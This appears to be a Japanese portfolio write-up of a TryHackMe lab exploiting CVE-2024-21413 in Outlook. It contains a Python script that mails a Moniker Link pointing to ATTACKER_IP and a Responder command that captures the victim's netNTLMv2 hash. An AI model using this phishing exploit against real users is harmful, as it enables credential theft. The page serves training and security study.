
CVE-2024-21413 の概念実証エクスプロイト。HTML メール内の Moniker Link を使用して SMB 接続をトリガーし、Responder を介して netNTLMv2 ハッシュをキャプチャします。ペネトレーションテスト、Python スクリプティング、ネットワークプロトコル分析スキルを示します。
概要: OutlookからSMB接続を誘発するMoniker LinkをHTMLメールで使用し、Responderを介して被害者のnetNTLMv2ハッシュをキャプチャする実用的なPoC。ペネトレーションテスト、スクリプティング、ネットワークプロトコル分析における実践的なスキルを示します。
file://)を含むHTMLメールを配信します。# exploit.py (トリミング)
import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.utils import formataddr
sender = '[email protected]'
receiver = '[email protected]'
mailserver = '10.201.52.124' # THM SMTPサーバー
password = input('攻撃者のメールパスワードを入力: ')
html = '<p><a href="file://ATTACKER_IP/test!exploit">Click me</a></p>'
msg = MIMEMultipart()
msg['Subject'] = 'CVE-2024-21413'
msg['From'] = formataddr(('CMNatic', sender))
msg['To'] = receiver
msg.attach(MIMEText(html, 'html'))
with smtplib.SMTP(mailserver, 25) as s:
s.ehlo()
s.login(sender, password)
s.sendmail(sender, [receiver], msg.as_string())
print('メールを配信しました')
ヒント: 実行前にATTACKER_IPとmailserverを置き換えてください。TryHackMeラボではパスワードはattackerです。
responder -I ens5
ens5を自分のネットワークインターフェース名に置き換えてください。
/etc/resolv.confのトラブルシューティングResponderが/etc/resolv.confのシンボリックリンクの問題で失敗することがあります。次のように修正します:
rm -f /etc/resolv.conf
printf "nameserver 8.8.8.8
nameserver 1.1.1.1
" > /etc/resolv.conf
chmod 644 /etc/resolv.conf
cat /etc/resolv.conf
強調されるスキル: Linuxトラブルシューティング、DNS設定、クラウド/VM環境へのツール適応。
エラー / resolv.conf問題:

DNS修正適用:

Pythonメールスクリプト:

エクスプロイト配信:

被害者の受信トレイ:

キャプチャした被害者のハッシュ:

TryHackMe MonikerLinkラボとCMNaticによるオリジナルPoCを改変(GitHub)